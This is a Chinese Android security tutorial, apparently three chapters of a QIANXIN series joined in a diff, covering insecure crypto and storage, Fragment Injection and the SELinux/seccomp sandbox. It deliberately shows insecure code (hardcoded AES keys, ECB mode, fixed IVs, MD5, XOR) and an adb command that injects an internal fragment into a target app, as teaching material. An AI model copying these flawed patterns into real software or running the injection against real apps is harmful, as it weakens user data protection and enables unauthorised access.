private static final String SECRET_KEY = "MySecretKey12345";
public String encrypt(String data) {
SecretKeySpec keySpec = new SecretKeySpec(
SECRET_KEY.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
return Base64.encodeToString(cipher.doFinal(data.getBytes()), Base64.DEFAULT);
}
```
反编译 APK 后,硬编码的密钥一目了然。即使做了混淆,字符串常量通常不会被混淆(ProGuard/R8 默认不混淆字符串)。
常见的硬编码位置:
- Java/Kotlin 源码中的 `static final` 常量
- `BuildConfig` 中的自定义字段
- `res/values/strings.xml` 中的字符串资源
- `assets/` 目录下的配置文件
- `AndroidManifest.xml` 中的 `<meta-data>`
- native so 库中的字符串(稍难提取,但通过 `strings` 命令或逆向工具仍然可以找到)
### 3.2 不安全的加密模式
AES 加密有多种工作模式,选择不当会严重削弱加密强度:
ECBElectronic Codebook)模式——每个数据块独立加密,相同的明文块产生相同的密文块。这意味着密文中保留了明文的模式信息:
```java
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
```
CBCCipher Block Chaining)模式——每个数据块的加密依赖前一个密文块,需要一个初始化向量(IVInitialization Vector,一个随机的初始数据块,用于确保相同的明文每次加密产生不同的密文)。但如果 IV 是固定的或可预测的,CBC 的安全性也会下降:
```java
byte[] iv = "1234567890123456".getBytes();
IvParameterSpec ivSpec = new IvParameterSpec(iv);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
```
GCMGalois/Counter Mode)模式——提供加密和完整性校验,是目前推荐的模式。但 GCM 要求每次加密使用不同的 nonce(一次性数字),重复使用 nonce 会导致密钥泄露:
```java
byte[] nonce = new byte[12];
new SecureRandom().nextBytes(nonce);
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, nonce);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, gcmSpec);
```
### 3.3 弱哈希算法
密码存储通常使用哈希算法(单向函数,无法从哈希值反推出原始数据)。但一些 App 使用了已被证明不安全的哈希算法:
```java
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] hash = md.digest(password.getBytes());
MessageDigest md = MessageDigest.getInstance("SHA-1");
String hash = sha256(password);
```
MD5 和 SHA-1 的碰撞攻击已经被实际演示过,不应该用于安全场景。即使使用 SHA-256,如果不加盐(salt,一个随机字符串,和密码拼接后再哈希,确保相同密码产生不同的哈希值),也容易被彩虹表(预计算的哈希值对照表)攻击。
### 3.4 自定义加密算法
一些开发者会实现自己的"加密"算法,比如简单的 XOR、字符替换、Base64 编码等:
```java
String "encrypted" = Base64.encodeToString(data.getBytes(), Base64.DEFAULT);
byte[] encrypt(byte[] data, byte key) {
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte)(data[i] ^ key);
}
return result;
}
```
Base64 不是加密,它是一种编码方式,任何人都可以解码。XOR 加密如果密钥只有一个字节(256 种可能),暴力破解几乎是瞬间完成的。
* * *
## 4\. Android KeyStore
### 4.1 概述
Android KeyStore 是系统提供的密钥管理机制,从 Android 4.3(API 18)开始可用。它的核心特性是:密钥存储在系统级的安全容器中,App 可以使用密钥进行加密/解密操作,但无法导出密钥本身。
在支持硬件安全模块的设备上(大多数 Android 8.0+ 设备),KeyStore 的密钥存储在 TEETrusted Execution Environment,可信执行环境,一个独立于主操作系统的安全区域)或专用安全芯片(如 Titan M)中。即使设备被 root,也无法提取密钥。
### 4.2 基本使用
```java
KeyGenerator keyGen = KeyGenerator.getInstance(
KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGen.init(new KeyGenParameterSpec.Builder(
"my_key_alias",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.build());
SecretKey key = keyGen.generateKey();
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] iv = cipher.getIV();
byte[] encrypted = cipher.doFinal(plaintext.getBytes());
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
SecretKey storedKey = (SecretKey) keyStore.getKey("my_key_alias", null);
Cipher decryptCipher = Cipher.getInstance("AES/GCM/NoPadding");
decryptCipher.init(Cipher.DECRYPT_MODE, storedKey, new GCMParameterSpec(128, iv));
byte[] decrypted = decryptCipher.doFinal(encrypted);
```
### 4.3 KeyStore 的安全属性
KeyGenParameterSpec 提供了多个安全相关的配置:
| 属性 | 说明 |
| --- | --- |
| setUserAuthenticationRequired(true) | 使用密钥前需要用户认证(指纹/PIN) |
| setUserAuthenticationValidityDurationSeconds(30) | 认证后 30 秒内可以使用密钥 |
| setInvalidatedByBiometricEnrollment(true) | 新增指纹后密钥失效 |
| setIsStrongBoxBacked(true) | 要求密钥存储在专用安全芯片中 |
| setUnlockedDeviceRequired(true) | 只有设备解锁时才能使用密钥 |
`setUserAuthenticationRequired(true)` 是一个比较有用的特性——即使攻击者拿到了设备并获得了 root 权限,如果不知道用户的 PIN/密码或没有用户的指纹,也无法使用密钥解密数据。
### 4.4 KeyStore 的局限
KeyStore 不是万能的:
- 密钥绑定设备:KeyStore 中的密钥无法导出,也无法在其他设备上使用。如果用户换设备,用 KeyStore 加密的数据无法迁移
- 依赖硬件支持:没有 TEE 或安全芯片的设备上,KeyStore 的密钥存储在软件层面,安全性较低
- 不防止内存读取:密钥在使用时会被加载到进程内存中,通过内存 dump 理论上可以提取(但需要 root 权限且时机要准确)
* * *
## 5\. EncryptedSharedPreferences
### 5.1 概述
Jetpack Security 库(`androidx.security:security-crypto`)提供了 EncryptedSharedPreferences,它是 SharedPreferences 的加密包装。key 和 value 都会被加密后存储。
```java
MasterKey masterKey = new MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build();
SharedPreferences encryptedPrefs = EncryptedSharedPreferences.create(
context,
"encrypted_config",
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM);
encryptedPrefs.edit()
.putString("auth_token", "eyJhbGciOiJIUzI1NiJ9...")
.apply();
```
生成的 XML 文件中,key 和 value 都是加密后的 Base64 字符串,无法直接读取。
### 5.2 底层机制
EncryptedSharedPreferences 使用 Google 的 Tink 加密库,密钥管理基于 Android KeyStore
- Master Key 存储在 Android KeyStore 中(不可导出)
- 每个 SharedPreferences 文件有独立的数据加密密钥(DEKData Encryption Key
- DEK 用 Master Key 加密后存储在 SharedPreferences 文件中
- key 使用 AES-SIV(确定性加密,相同的 key 名称总是产生相同的密文,便于查找)
- value 使用 AES-GCM(随机化加密,相同的 value 每次产生不同的密文)
* * *
## 6\. 日志泄露
### 6.1 Log 输出
Android 的 `Log` 类输出的日志可以被同一设备上的其他 App 读取(Android 4.1 之前),或者通过 ADB 读取:
```java
Log.d("Auth", "User token: " + authToken);
Log.i("Payment", "Card number: " + cardNumber);
Log.e("Login", "Password: " + password);
```
```bash
adb logcat -s Auth Payment Login
```
Android 4.1API 16)之后,App 只能读取自己的日志,不能读取其他 App 的日志(除非持有 `READ_LOGS` 权限,这是 signature 级别权限)。但通过 ADB 仍然可以读取所有日志。
Release 版本的 App 应该移除所有包含敏感数据的日志输出。ProGuard/R8 可以配置移除 `Log.d()``Log.v()` 调用,但 `Log.i()``Log.w()``Log.e()` 通常会保留。
### 6.2 WebView 控制台日志
WebView 中 JavaScript 的 `console.log()` 输出也会出现在 Android 的 logcat 中:
```javascript
console.log("User session: " + sessionToken);
```
```bash
adb logcat -s chromium
```
如果 WebView 加载的页面中有调试日志输出敏感信息,通过 ADB 就能看到。
### 6.3 崩溃日志
App 崩溃时,系统会在 logcat 中输出完整的堆栈跟踪(stack trace)。如果崩溃发生在处理敏感数据的代码路径上,堆栈跟踪中可能包含敏感信息(如 URL 中的 token、异常消息中的用户数据)。
* * *
## 7\. 剪贴板
### 7.1 剪贴板泄露
Android 的剪贴板(ClipboardManager)是一个全局共享的机制。App 复制到剪贴板的内容可以被其他 App 读取:
```java
ClipboardManager clipboard = (ClipboardManager)
getSystemService(CLIPBOARD_SERVICE);
ClipData clip = ClipData.newPlainText("password", "MyP@ssw0rd");
clipboard.setPrimaryClip(clip);
```
Android 10 开始,只有当前处于前台的 App 或默认输入法才能读取剪贴板内容。后台 App 调用 `getPrimaryClip()` 会返回空。Android 12 进一步增加了剪贴板访问的 Toast 提示,用户可以看到哪个 App 读取了剪贴板。
但在 Android 10 之前的设备上,任何 App 都可以在后台静默读取剪贴板。用户复制的密码、验证码、银行卡号等都可能被恶意 App 窃取。
* * *
## 8\. 总结
数据存储安全的核心问题是:沙箱保护不等于数据安全。root、备份导出、ContentProvider 泄露、外部存储等多种途径都可能绕过沙箱。
回顾一下:
- SharedPreferences 和 SQLite 默认不加密,敏感数据以明文存储
- 硬编码密钥是最常见的加密问题,反编译后一目了然
- ECB 模式、固定 IV、弱哈希算法都会削弱加密强度
- Android KeyStore 提供了硬件级的密钥保护,密钥不可导出
- EncryptedSharedPreferences 基于 KeyStore 和 Tink,是 SharedPreferences 的加密替代方案
- 日志输出和剪贴板是容易被忽视的数据泄露渠道
- `allowBackup="true"` 允许通过 ADB 导出应用数据
下一章讲 Android 认证与证书校验。HTTPS 通信的安全性依赖于证书校验,如果 App 禁用了证书校验或实现了自定义的 TrustManager,中间人攻击就变得可行。
@@ -0,0 +1,251 @@
# Android移动安全第十五章_FragmentInjection
> QIANXIN Team
> 来源:https://forum.butian.net/share/4946
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection(本章)
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Fragment 是 Android 3.0API 11)引入的 UI 组件。一个 Activity 可以包含多个 Fragment,每个 Fragment 管理自己的布局和生命周期。典型的使用场景是设置页面——左侧是分类列表,右侧根据选择加载不同的 Fragment 显示对应的设置项。
Android 提供了 PreferenceActivity 来简化设置页面的开发。PreferenceActivity 支持通过 Intent 的 extra 参数指定要加载的 Fragment 类名:
```java
Intent intent = new Intent(this, SettingsActivity.class);
intent.putExtra(":android:show_fragment", "com.example.NetworkSettingsFragment");
startActivity(intent);
```
PreferenceActivity 收到这个 Intent 后,会用反射实例化指定的 Fragment 并显示。问题在于,如果 SettingsActivity 是导出的(设置页面通常需要导出,因为系统设置、快捷方式等需要跳转到它),外部 App 也可以通过这个参数指定任意 Fragment 类名。
* * *
## 2\. 漏洞原理
### 2.1 PreferenceActivity 的 Fragment 加载机制
PreferenceActivity 在 `onCreate()` 中检查 Intent 是否包含 `:android:show_fragment` 这个 extra。如果有,就调用 `Fragment.instantiate()` 用反射创建该 Fragment 实例并加载到界面中:
```java
String fragmentName = intent.getStringExtra(":android:show_fragment");
if (fragmentName != null) {
Bundle args = intent.getBundleExtra(":android:show_fragment_args");
Fragment f = Fragment.instantiate(this, fragmentName, args);
getFragmentManager().beginTransaction()
.replace(android.R.id.content, f)
.commit();
}
```
`Fragment.instantiate()` 内部用 `Class.forName(fragmentName)` 加载类,然后调用无参构造函数创建实例。只要类名存在于 App 的 ClassLoader 中,就能被实例化。
### 2.2 攻击效果
App 内部可能有一些 Fragment 不打算对外暴露,比如:
- 调试信息 Fragment(显示内部日志、设备信息)
- 账户管理 Fragment(修改密码、绑定手机号)
- 高级设置 Fragment(开发者选项、隐藏功能开关)
- 数据导出 Fragment(导出用户数据)
这些 Fragment 本身没有导出的概念(Fragment 不是四大组件,不在 Manifest 中声明),它们的访问控制完全依赖于宿主 Activity。如果宿主 Activity 是导出的 PreferenceActivity,且没有校验 Fragment 类名,攻击者就能加载这些内部 Fragment。
攻击命令:
```bash
adb shell am start -n com.target.app/.SettingsActivity \
--es ":android:show_fragment" "com.target.app.internal.DebugFragment"
```
### 2.3 Fragment 参数注入
除了 `:android:show_fragment`PreferenceActivity 还支持 `:android:show_fragment_args` 参数,用于向 Fragment 传递 Bundle 参数。Fragment 通过 `getArguments()` 获取这些参数:
```java
public class DataExportFragment extends Fragment {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Bundle args = getArguments();
if (args != null) {
String exportPath = args.getString("export_path");
}
}
}
```
攻击者不仅能指定加载哪个 Fragment,还能控制传给 Fragment 的参数。
* * *
## 3\. isValidFragment() 校验
### 3.1 Android 4.4 的修复
这个漏洞在 2013 年被公开(CVE-2014-1710 是其中一个相关编号)。Android 4.4API 19)在 PreferenceActivity 中添加了 `isValidFragment()` 方法作为修复:
```java
protected boolean isValidFragment(String fragmentName) {
if (getApplicationInfo().targetSdkVersion >= Build.VERSION_CODES.KITKAT) {
throw new RuntimeException(
"Subclasses of PreferenceActivity must override isValidFragment(String)"
+ " to verify that the Fragment class is valid!"
+ " " + this.getClass().getName()
+ " has not checked if fragment " + fragmentName + " is valid.");
}
return true;
}
```
PreferenceActivity 在加载 Fragment 之前会调用 `isValidFragment(fragmentName)`。如果 App 的 targetSdk >= 19,默认实现直接抛异常,强制开发者重写这个方法来校验 Fragment 类名。
### 3.2 正确的重写方式
```java
public class SettingsActivity extends PreferenceActivity {
@Override
protected boolean isValidFragment(String fragmentName) {
return GeneralSettingsFragment.class.getName().equals(fragmentName)
|| NetworkSettingsFragment.class.getName().equals(fragmentName)
|| DisplaySettingsFragment.class.getName().equals(fragmentName);
}
}
```
白名单方式——只允许加载预期的 Fragment 类。
### 3.3 常见的错误实现
实际审计中,经常看到开发者为了消除异常而直接返回 true:
```java
@Override
protected boolean isValidFragment(String fragmentName) {
return true;
}
```
或者用包名前缀做粗粒度校验:
```java
@Override
protected boolean isValidFragment(String fragmentName) {
return fragmentName.startsWith("com.example.settings.");
}
```
这两种写法都没有真正解决问题。
* * *
## 4\. 不依赖 PreferenceActivity 的 Fragment Injection
### 4.1 自定义的 Fragment 加载逻辑
不只是 PreferenceActivity,任何根据外部输入动态加载 Fragment 的代码都可能存在 Fragment Injection
```java
public class ContainerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_container);
String fragmentClass = getIntent().getStringExtra("fragment_class");
if (fragmentClass != null) {
Fragment f = Fragment.instantiate(this, fragmentClass);
getFragmentManager().beginTransaction()
.replace(R.id.container, f)
.commit();
}
}
}
```
如果 ContainerActivity 是导出的,攻击者可以通过 `fragment_class` 参数加载任意 Fragment。
### 4.2 通过 Deep Link 触发
第七章讲过 Deep Link 的安全问题。如果 App 的 Deep Link 处理逻辑中包含 Fragment 加载:
```java
Uri uri = getIntent().getData();
String fragmentName = uri.getQueryParameter("fragment");
if (fragmentName != null) {
Fragment f = Fragment.instantiate(this, fragmentName);
}
```
攻击者可以构造恶意链接诱导用户点击,触发 Fragment Injection。
### 4.3 AndroidX Navigation 组件
使用 AndroidX Navigation 组件的 App,如果 NavGraph 中的 deep link 配置不当,也可能导致类似问题。Navigation 组件根据 URI 匹配 destination(目标 Fragment),如果 URI 模式过于宽泛:
```xml
<fragment
android:id="@+id/settingsFragment"
android:name="com.example.SettingsFragment">
<deepLink app:uri="myapp://fragment/{name}" />
</fragment>
```
这里 `{name}` 是路径参数,传给 Fragment 作为 argument。虽然 Navigation 组件不会根据参数动态切换 Fragment 类(destination 是固定的),但参数值仍然是攻击者可控的,可能影响 Fragment 内部逻辑。
* * *
## 5\. 版本演进
| 版本 | 变化 |
| --- | --- |
| Android 3.0 (API 11) | 引入 Fragment 和 PreferenceActivity 的 Fragment 加载机制 |
| Android 4.4 (API 19) | 添加 isValidFragment()targetSdk >= 19 时默认抛异常 |
| Android 9.0 (API 28) | PreferenceActivity 被标记为 deprecated,推荐使用 AndroidX Preference |
| Android 13+ | AndroidX PreferenceFragmentCompat 成为主流,不存在 isValidFragment 问题 |
Android 4.4 的修复覆盖了 PreferenceActivity 的场景,但自定义的 Fragment 加载逻辑不受此保护。随着 AndroidX Preference 库的普及,PreferenceActivity 的使用在减少,但老应用和系统预装 App 中仍然常见。
AndroidX 的 PreferenceFragmentCompat 不使用 `:android:show_fragment` 机制,Fragment 的加载由 NavGraph 或代码显式控制,从架构上避免了这个问题。
* * *
## 6\. 总结
Fragment Injection 的本质是信任了外部输入的类名。PreferenceActivity 的 `:android:show_fragment` 参数是最经典的入口,但任何根据外部输入动态实例化 Fragment 的代码都有同样的风险。
回顾一下:
- PreferenceActivity 根据 Intent extra 中的类名用反射加载 Fragment
- Android 4.4 添加了 isValidFragment() 校验,但开发者可能直接返回 true
- 自定义的 Fragment 加载逻辑不受 isValidFragment() 保护
- Fragment 没有独立的导出控制,访问控制完全依赖宿主 Activity
下一章讲 Android SELinux 与沙箱机制。SELinux 是 Linux 内核的强制访问控制模块,Android 从 4.3 开始引入,用于限制进程的权限范围。即使 App 获得了 root 权限,SELinux 策略仍然可以阻止它访问特定资源。
@@ -0,0 +1,346 @@
# Android移动安全第十六章_SELinux与沙箱机制
> QIANXIN Team
> 来源:https://forum.butian.net/share/4947
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制(本章)
* * *
## 1\. 前言
前面十五章讲的漏洞——组件导出、Intent 注入、WebView 加载、路径遍历等——都发生在 Android 框架层(Java/Kotlin 层)。但 Android 的安全不只依赖框架层的权限检查,底层还有 Linux 内核提供的多重隔离机制。
这些机制的设计思路是纵深防御(Defense in Depth):即使上层的权限检查被绕过,底层的隔离仍然能限制攻击者的行为范围。比如一个 App 通过漏洞获得了代码执行能力,但 SELinux 策略可能阻止它读取其他 App 的数据目录;seccomp 过滤器可能阻止它调用某些系统调用。
本章讲解 Android 沙箱的四个层次:Linux 用户隔离、文件系统 DAC、SELinux MAC、seccomp-bpf。
* * *
## 2\. Linux 用户隔离
### 2.1 每个 App 一个 UID
Android 利用了 Linux 的多用户机制来隔离 App。每个 App 在安装时被分配一个唯一的 Linux UIDUser ID),通常从 10000 开始递增。App 的进程以这个 UID 运行,App 的私有目录(`/data/data/<package>/`)的所有者也是这个 UID。
```bash
adb shell dumpsys package com.example.app | grep userId
adb shell ls -la /data/data/ | grep com.example.app
```
`u0_a156` 是 UID 10156 的用户名表示(u0 表示主用户,a156 = 10156 - 10000)。目录权限 `drwx------` 表示只有所有者可以读写执行,其他用户(包括其他 App)没有任何权限。
这是 Android 沙箱最基础的一层:不同 App 运行在不同的 Linux 用户下,通过文件系统权限互相隔离。
### 2.2 共享 UID
两个 App 可以通过在 Manifest 中声明相同的 `android:sharedUserId` 来共享 UID
```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:sharedUserId="com.example.shared">
```
共享 UID 的 App 运行在同一个 Linux 用户下,可以互相访问对方的私有目录。系统 App 通常使用 `android.uid.system`UID 1000)或 `android.uid.phone`UID 1001)等共享 UID。
共享 UID 的前提是两个 App 使用相同的签名证书。这个机制在 Android 13 中被标记为 deprecated,新 App 不应该使用。
### 2.3 特殊 UID
Android 预定义了一些特殊 UID
| UID | 用户名 | 用途 |
| --- | --- | --- |
| 0 | root | 超级用户 |
| 1000 | system | system_server 进程 |
| 1001 | radio | 电话/RIL 相关进程 |
| 1002 | bluetooth | 蓝牙相关进程 |
| 2000 | shell | ADB shell |
| 10000+ | u0_aXXX | 第三方 App |
UID 决定了进程的基础权限边界。UID 1000(system)可以访问大量系统资源,UID 0(root)几乎不受限制(但 SELinux 仍然可以限制 root)。
* * *
## 3\. DAC:自主访问控制
### 3.1 文件系统权限
DACDiscretionary Access Control,自主访问控制)是 Linux 传统的权限模型。每个文件和目录有所有者(owner)、所属组(group)和其他用户(others)三组权限,分别控制读(r)、写(w)、执行(x)。
Android 的关键目录权限设置:
| 路径 | 权限 | 说明 |
| --- | --- | --- |
| /data/data/\<pkg>/ | 700 (rwx------) | App 私有目录,只有 App 自身可访问 |
| /data/data/\<pkg>/shared_prefs/ | 771 (rwxrwx--x) | SharedPreferences 目录 |
| /sdcard/ | 通过 FUSE/sdcardfs 控制 | 外部存储,权限由 Android 框架管理 |
| /system/ | 755 (rwxr-xr-x) | 系统分区,只读挂载 |
| /data/local/tmp/ | 1777 (rwxrwxrwt) | 临时目录,所有用户可写 |
### 3.2 DAC 的局限
DAC 的问题在于"自主"——文件所有者可以修改权限。如果一个 App 把自己的私有目录权限改为 777(所有用户可读写),其他 App 就能访问它的数据。早期 Android 版本中,一些 App 使用 `MODE_WORLD_READABLE` 创建 SharedPreferences,导致数据泄露:
```java
SharedPreferences prefs = getSharedPreferences("config", MODE_WORLD_READABLE);
```
`MODE_WORLD_READABLE`(值为 1)会将文件权限设为其他用户可读。这个常量在 API 17 中被标记为 deprecated,在 targetSdk >= 24 时使用会抛出 SecurityException。
DAC 是"底线"级别的保护——它能阻止大部分跨 App 的直接文件访问,但无法防御 root 进程或权限配置错误的情况。SELinux 就是为了弥补这个不足。
* * *
## 4\. SELinux:强制访问控制
### 4.1 MAC 与 DAC 的区别
SELinuxSecurity-Enhanced Linux)实现的是 MACMandatory Access Control,强制访问控制)。与 DAC 不同,MAC 的策略由系统管理员(在 Android 上是 ROM 开发者)定义,进程自身无法修改。即使进程以 root 身份运行,SELinux 策略仍然生效。
DAC 检查的是"你是谁"UID/GID),SELinux 检查的是"你被允许做什么"(安全上下文 + 策略规则)。两者是叠加关系——一个操作必须同时通过 DAC 和 SELinux 的检查才能执行。
### 4.2 安全上下文
SELinux 为系统中的每个进程和文件分配一个安全上下文(Security Context),也叫标签(Label)。格式为:
```php
user:role:type:level
```
在 Android 上,user 固定为 `u`role 固定为 `r`(进程)或 `object_r`(文件),实际起作用的是 type 和 level。
```bash
adb shell ps -Z | grep com.example.app
adb shell ls -Z /data/data/com.example.app/
```
第三方 App 的进程类型通常是 `untrusted_app`(或 `untrusted_app_27``untrusted_app_32` 等,根据 targetSdk 区分)。系统 App 的类型是 `system_app``platform_app`
### 4.3 类型(Type
Type 是 SELinux 策略的核心概念。Android 预定义了大量类型:
| 类型 | 适用对象 | 说明 |
| --- | --- | --- |
| untrusted_app | 第三方 App 进程 | 权限最受限 |
| platform_app | 平台签名 App 进程 | 使用平台证书签名的 App |
| system_app | 系统 App 进程 | 预装在 /system 分区的 App |
| priv_app | 特权 App 进程 | 预装在 /system/priv-app 的 App |
| system_server | system_server 进程 | Android 框架核心进程 |
| kernel | 内核 | Linux 内核 |
| app_data_file | App 私有数据文件 | /data/data/\<pkg>/ 下的文件 |
| system_file | 系统文件 | /system/ 下的文件 |
| proc | proc 文件系统 | /proc/ 下的文件 |
### 4.4 策略规则
SELinux 策略用 `allow` 语句定义哪个类型的进程可以对哪个类型的对象执行什么操作:
```php
allow source_type target_type:object_class permission;
```
例如:
```php
allow untrusted_app app_data_file:file { read write open create getattr };
allow untrusted_app app_data_file:dir { search read open getattr };
```
SELinux 的默认策略是"拒绝一切"deny by default)。只有明确写了 allow 规则的操作才被允许。这和 DAC 的"默认允许"形成对比。
### 4.5 MLS:多级安全
Android 的 SELinux 还使用了 MLSMulti-Level Security,多级安全)来隔离不同 App 的数据。安全上下文中的 level 字段(如 `s0:c156,c256,c512,c768`)包含了 App 特有的分类标签(category)。
每个 App 的 category 是根据 UID 计算的,不同 App 的 category 不同。即使两个 App 的进程类型都是 `untrusted_app`SELinux 也能通过 category 区分它们,阻止 App A 访问 App B 的数据文件。
### 4.6 Enforcing 与 Permissive 模式
SELinux 有两种运行模式:
- Enforcing:强制模式,违反策略的操作被拒绝并记录日志
- Permissive:宽容模式,违反策略的操作只记录日志不拒绝
```bash
adb shell getenforce
adb shell seinfo -t untrusted_app
```
Android 4.3 引入 SELinux 时使用 Permissive 模式,Android 5.0 开始对所有进程启用 Enforcing 模式。正式发布的 Android 设备都应该运行在 Enforcing 模式下。
一些 root 工具会将 SELinux 切换到 Permissive 模式以绕过限制。这也是为什么一些安全敏感的 App(如银行 App)会检测 SELinux 状态——Permissive 模式通常意味着设备已被 root 或篡改。
* * *
## 5\. SELinux 在 Android 上的实际效果
### 5.1 阻止跨 App 数据访问
即使通过漏洞获得了代码执行能力,SELinux 仍然限制进程只能访问策略允许的资源:
日志中的 `avc: denied` 就是 SELinux 拒绝操作的记录。`scontext` 是源(进程)的安全上下文,`tcontext` 是目标(文件)的安全上下文。
### 5.2 限制系统调用目标
SELinux 不仅控制文件访问,还控制进程间通信、网络操作、设备访问等:
```php
neverallow untrusted_app device:chr_file { read write };
neverallow untrusted_app self:capability sys_module;
neverallow untrusted_app default_prop:property_service set;
```
`neverallow` 是比 `allow` 更强的规则——它声明某个操作永远不被允许,即使其他地方有 `allow` 规则也不行。Android CTSCompatibility Test Suite,兼容性测试套件)会验证设备的 SELinux 策略不违反 neverallow 规则。
### 5.3 厂商自定义策略
厂商可以在 AOSP 的 SELinux 策略基础上添加自定义规则。这些规则通常在 `device/<vendor>/<device>/sepolicy/` 目录下。
厂商自定义策略是审计的重点之一。有时厂商为了让自己的系统 App 正常工作,会添加过于宽松的 allow 规则:
```php
allow platform_app system_data_file:file { read write create unlink };
```
这种宽松策略可能被利用——如果攻击者能在 platform\_app 上下文中执行代码(比如通过前面章节讲的漏洞),就能利用这些额外的权限。
* * *
## 6\. seccomp-bpf:系统调用过滤
### 6.1 原理
seccompSecure Computing Mode)是 Linux 内核提供的系统调用过滤机制。seccomp-bpf 允许进程安装一个 BPFBerkeley Packet Filter)程序来过滤系统调用——只允许进程使用预定义的系统调用子集。
Android 从 8.0API 26)开始对所有 App 进程启用 seccomp-bpf 过滤器。过滤器在 Zygote(Android 的进程孵化器,所有 App 进程都从 Zygote fork 而来)中安装,App 进程继承这个过滤器。
### 6.2 被过滤的系统调用
Android 的 seccomp 过滤器阻止了一些危险的系统调用:
| 系统调用 | 说明 | 被阻止的原因 |
| --- | --- | --- |
| swapon/swapoff | 交换分区管理 | App 不需要管理交换分区 |
| init_module/delete_module | 内核模块加载/卸载 | 防止 App 加载恶意内核模块 |
| acct | 进程记账 | App 不需要此功能 |
| kexec_load | 加载新内核 | 防止 App 替换内核 |
如果 App 尝试调用被过滤的系统调用,进程会收到 SIGSYS 信号并终止。
### 6.3 与 SELinux 的互补
seccomp-bpf 和 SELinux 从不同角度限制进程行为:
- SELinux 控制"进程能访问哪些资源"(文件、设备、网络、其他进程)
- seccomp-bpf 控制"进程能使用哪些系统调用"
两者互补。SELinux 策略可能允许进程打开某个文件,但如果打开文件所需的系统调用被 seccomp 过滤了,操作仍然会失败。
* * *
## 7\. App 沙箱的完整架构
把前面讲的机制组合起来,Android App 的沙箱架构从底层到上层:
```php
┌─────────────────────────────────────┐
Android 权限模型 框架层:权限声明、运行时权限
(Manifest permissions, runtime)
├─────────────────────────────────────┤
SELinux MAC 内核层:强制访问控制
(type enforcement, MLS categories)
├─────────────────────────────────────┤
seccomp-bpf 内核层:系统调用过滤
(syscall whitelist)
├─────────────────────────────────────┤
Linux DAC 内核层:UID/GID 文件权限
(per-app UID, file permissions)
├─────────────────────────────────────┤
Linux Kernel 进程隔离、内存保护
(process isolation, namespaces)
└─────────────────────────────────────┘
```
一个操作要成功执行,必须通过所有层的检查。任何一层拒绝,操作就失败。这就是纵深防御的效果。
### 7.1 攻击者视角
从攻击者的角度看,要突破 App 沙箱需要逐层绕过:
1. 绕过 Android 权限模型:利用导出组件、Intent 重定向等(前面章节讲的内容)
2. 绕过 SELinux:需要找到策略中的漏洞(过于宽松的 allow 规则)或利用内核漏洞
3. 绕过 seccomp:需要利用允许的系统调用组合来实现目标,或利用内核漏洞
4. 绕过 DAC:需要以目标 UID 运行,或利用权限配置错误
大部分 App 层面的漏洞(本系列前面讲的内容)停留在第 1 层。要突破到第 2-4 层通常需要内核漏洞或系统级漏洞,难度显著增加。
### 7.2 实际案例中的沙箱限制
回顾前面章节的漏洞,沙箱机制对攻击效果的限制:
- 第十四章的 Zip Slip:路径遍历只能写入 App 自身的私有目录(`/data/data/<pkg>/`),因为 SELinux 的 MLS category 阻止写入其他 App 的目录
- 第四章的 ContentProvider 路径遍历:`openFile()` 返回的文件描述符受 SELinux 限制,只能读取 App 有权访问的文件
- 第一章的组件导出:即使通过 Intent 重定向启动了内部 Activity,执行的代码仍然在目标 App 的沙箱内,受其 SELinux 上下文约束
沙箱不能阻止漏洞的发生,但能限制漏洞的影响范围。
* * *
## 8\. 总结
Android 的沙箱是多层防御的组合。Linux UID 隔离提供基础的进程和文件隔离,DAC 控制文件访问权限,SELinux 在此之上添加强制访问控制,seccomp-bpf 限制可用的系统调用。
回顾一下:
- 每个 App 有独立的 Linux UID,私有目录权限 700
- SELinux 的 type enforcement 和 MLS category 提供细粒度的强制访问控制
- 即使 root 进程也受 SELinux 策略约束(Enforcing 模式下)
- seccomp-bpf 过滤危险的系统调用
- 厂商自定义的 SELinux 策略可能引入额外的攻击面
